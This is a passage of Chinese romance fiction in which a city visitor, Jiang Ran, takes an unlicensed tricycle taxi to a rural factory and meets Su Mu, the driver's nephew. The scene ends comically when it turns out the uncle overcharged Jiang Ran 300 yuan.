司机见他沉默,也不在意,自顾自地继续说,语气里带着点本地人的熟稔:“哎呀,老板,我跟你说,今天要不是正好我拉着你,你又没朋友来接,你等到天黑都未必有车能去凤凰村那边,你看现在,都快五点了,我们这去镇上的公交车,最后一班四点半就收车了!这个点儿,除了我们这些黑车,根本没别的办法!” 江冉听着:“那你们这里的交通……岂不是很不方便?” 司机却哈哈一笑,不以为意:“也还好吧!习惯了,平日里班次是少了点,但我们自己都有摩托车,电动车,去镇上,去县里,也够用了,再说了,不是还有我们嘛!” 他拍了拍自己的三轮车把手,语气里有着草根式的生存智慧和豁达。 三轮车继续“突突突”地前行,绕过一片片收割后裸露着稻茬的田地,穿过几个散落的,看起来差不多模样的村庄。 夕阳西斜,将天空染成了温暖的橙红色,也给这片陌生的土地镀上了一层柔和却依旧陌生的光晕。 江冉看着窗外不断后退的,与他成长环境截然不同的风景。 终于,在穿过又一个看起来没什么区别的村庄后,前方出现了一片相对集中的,蓝顶的厂房,还有隐约传来的机器轰鸣声。 路边立着一个简易的牌子,上面用红漆刷着有些褪色的字——“凤凰镇木材加工厂”。 司机熟练地将三轮车拐进厂区大门旁边的一条土路,然后在厂区门口熄了火。 江冉跳下车,拍了拍手上的灰,司机对江冉说:“喏,老板,到了。就这儿,你要找的人,是住这儿,还是在这儿上班?用不用我带你进去问问?” 江冉没理会司机的热心,自己拎着箱子下了车。 江冉没有多余的废话,直接从内袋里掏出手机,点开支付软件:“付款码,我扫你吧。” 司机嘿嘿一笑,连忙从皱巴巴的夹克内兜里摸出一部屏幕有些碎裂的旧手机,调出绿色的收款码,递到江冉面前。 手机发出“滴”的一声轻响。 而就在这时,苏木正好下了班,从厂区的侧门走出来。他惦记着家里的鲫鱼汤,正准备去车棚骑他的小电驴。 刚走到路边,他一眼就看到了姑父那辆标志性的,漆皮斑驳的三轮摩托车停在宿舍区门口。他脸上露出笑容,刚想扬起手,喊一声“姑父”,打个招呼。 然而,他的手刚抬到一半,笑容就僵在了脸上。 因为他看到,从那辆三轮摩托车的后斗里,动作有些僵硬却依旧利落地,跳下来一个人。 那人背对着他,身形高挑挺拔,穿着一身即使在夕阳下也看得出质地精良的深灰色休闲外套,头发被风吹得有些凌乱,却依旧难掩那股与生俱来的,卓尔不群的气质。 仅仅是一个背影,就足以让苏木浑身的血液仿佛在瞬间凝固,心跳骤停,呼吸都滞住了。 江冉。 他怎么会出现在这里?出现在这个偏僻小镇的工厂宿舍门口,从他姑父那辆破三轮车上跳下来? 苏木几乎以为自己出现了幻觉。他用力眨了眨眼,又眨了眨。 那个背影没有消失。他甚至看到姑父正拿着手机,凑到那人面前。 不是幻觉。 苏木的大脑一片空白,过了好几秒,他才像是找回了对身体的控制权,一步一步,朝着那辆三轮车和那个背影挪去。 他刚靠近,正好赶上姑父的手机里,传出那一声清晰无比,带着电子合成音效的,女声播报:“微信收款三百元——” 苏木姑父听到了播报声,脸上笑容更盛,一抬头,看见了推着电动车走过来的苏木,立刻热情地招呼道:“哎哟,小木下班啦!正好正好!” 他指了指旁边已经转过身来,看着他们的江冉:“这位老板是姑父的顾客,从县城包车过来的。说是来找人的,人生地不熟的,小木你在厂里认识人多,看看能不能帮他找一找他要找的人?” 苏木姑父说得热心。 而江冉,在听到“小木”这个称呼的瞬间,身体一僵,他缓缓地,极其缓慢地转过了身。 四目相对。 空气仿佛在这一刻彻底凝固。 苏木看着江冉,看着那张他曾在无数个深夜里偷偷想过,又强迫自己遗忘的脸,此刻如此真实地,带着风尘和疲惫,出现在他面前。 好半晌他才难以置信的确认:“你……来找我的?” 虽然荒谬,虽然不可思议,但似乎也没有别的可能了。 江冉没有立刻回答。他只是看着苏木,目光从他因为震惊的脸,扫过他丰润了那么一丝丝的身体,最后,又重新定格在他的眼睛上。然后,点了一下头。 苏木得到了肯定的答案,心里像被投入了一颗深水炸弹,炸得他五脏六腑都错了位。他转过头,看向还一脸茫然的姑父:“姑父,你坑了他多少?” 苏木姑父被外甥这么一问,搓了搓手,嘿嘿干笑了两声,没说话,只是眼神飘忽。 江冉:“三百。” 苏木:“…………”